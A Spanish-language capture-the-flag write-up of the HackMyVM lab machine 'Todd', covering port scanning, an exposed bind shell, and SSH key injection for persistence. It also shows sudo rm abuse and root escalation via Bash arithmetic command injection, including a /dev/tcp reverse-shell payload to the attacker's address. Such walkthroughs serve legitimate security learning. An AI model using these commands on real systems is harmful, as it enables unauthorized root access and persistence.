cd ~/blog

~/writeups/hmv/124-todd.md

124 - Todd

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Exposed Bind Shell con SSH Authorized Keys InjectionSudo-Allowed Program Abuse mediante rmOS Command Injection mediante Bash Arithmetic Evaluation
hackmyvm.eu/machines/machine.php?vm=Todd

~2 min de lectura


Enumeración de servicios

El objetivo expone SSH, HTTP y varios puertos altos marcados como tcpwrapped. Entre estos últimos, el puerto 7066 merece una revisión manual porque acepta conexiones antes de cerrarlas:

❯ nmap -sCV -p 22,80,1157,3103,7066,12958,18888,20269,22227,23532,23871,25116,29010 -oN 02-targeted.txt 192.168.1.10
...
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp    open  http       Apache httpd 2.4.59 ((Debian))
|_http-title: Mindful Listening
7066/tcp  open  tcpwrapped
...

Acceso inicial mediante una bind shell

La ruta /tools contiene utilidades como fscan, LinPEAS y pspy64. Al conectarnos con Netcat al puerto 7066 obtenemos una bind shell que se desconecta cada tres minutos:

❯ nc 192.168.1.10 7066
pwd
/root

El directorio actual es /root, pero este dato por sí solo no demuestra el usuario efectivo de la sesión. Para no depender de una conexión temporal, aprovechamos el acceso para preparar persistencia en la cuenta todd.

Generamos un par de claves y escribimos la clave pública en el authorized_keys de todd:

❯ ssh-keygen -t rsa
...

❯ nc 192.168.1.10 7066
cd /home/todd
mkdir .ssh
cd .ssh
echo 'ssh-rsa...'  > authorized_keys

La clave privada correspondiente permite iniciar sesión por SSH como todd:

❯ ssh todd@192.168.1.10 -i id_rsa
Enter passphrase for key 'id_rsa': 1234
...
$

Identificación del proceso que cierra la sesión

La sesión continúa cerrándose porque root ejecuta periódicamente /opt/kill_todd.sh. pspy64 permite observar la orden sin requerir privilegios:

$ ./pspy64
...
2025/05/27 20:04:01 CMD: UID=0     PID=7950   | /bin/sh -c /bin/bash /opt/kill_todd.sh
...

Abuso del permiso de sudo sobre rm

La política de sudo contiene tres comandos sin contraseña:

$ sudo -l
...
User todd may run the following commands on todd:
    (ALL : ALL) NOPASSWD: /bin/bash /srv/guess_and_check.sh
    (ALL : ALL) NOPASSWD: /usr/bin/rm
    (ALL : ALL) NOPASSWD: /usr/sbin/reboot

El permiso sobre rm constituye un Sudo-Allowed Program Abuse. Lo usamos para eliminar el script que termina las sesiones y estabilizar el acceso de todd:

$ sudo rm /opt/kill_todd.sh

OS Command Injection en una expresión aritmética de Bash

El script privilegiado guess_and_check.sh pide un número aleatorio y lo compara mediante [[ ... -ne ... ]]. Después genera nombres aleatorios en /tmp y solo muestra /root/.cred si existe el archivo esperado y no existe el archivo de rechazo:

a=$((RANDOM%1000))
echo "Please Input [$a]"
read -p ">>>" input_number
[[ $input_number -ne "$a" ]] && exit 1
...
[[ -f "$true_file" ]] && [[ ! -f "$false_file" ]] && cat /root/.cred || exit 2

La primera ruta aprovecha una OS Command Injection mediante Bash Arithmetic Evaluation. El operador -ne interpreta el valor como una expresión aritmética; la entrada N[$(...)] fuerza la evaluación de la sustitución de comandos antes de efectuar la comparación y ejecuta una reverse shell dentro del proceso lanzado mediante sudo:

todd@todd:/tmp$ sudo /bin/bash /srv/guess_and_check.sh
...
Please Input [485]
>>>N[$(/bin/bash -i >& /dev/tcp/192.168.1.3/1234 0>&1)]

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.10:55452.
root@todd:/tmp#

Ruta alternativa mediante la condición de archivos

La segunda ruta no necesita inyectar un comando. Creamos numerosos archivos candidatos en /tmp y repetimos la ejecución hasta coincidir con el nombre aleatorio que el script considera verdadero sin crear el nombre falso. Cuando ocurre esa combinación, el propio script privilegiado muestra la contraseña almacenada en /root/.cred:

todd@todd:/tmp$ for i in {1..200}; do touch "$i"; done
todd@todd:/tmp$ while true; do sudo /bin/bash /srv/guess_and_check.sh; done
...
>>>649
f**********

todd@todd:/tmp$ su root
Password:
root@todd:/tmp#

Ambas rutas terminan en una shell de root, ya sea directamente mediante la inyección o mediante la contraseña recuperada. Con ese acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados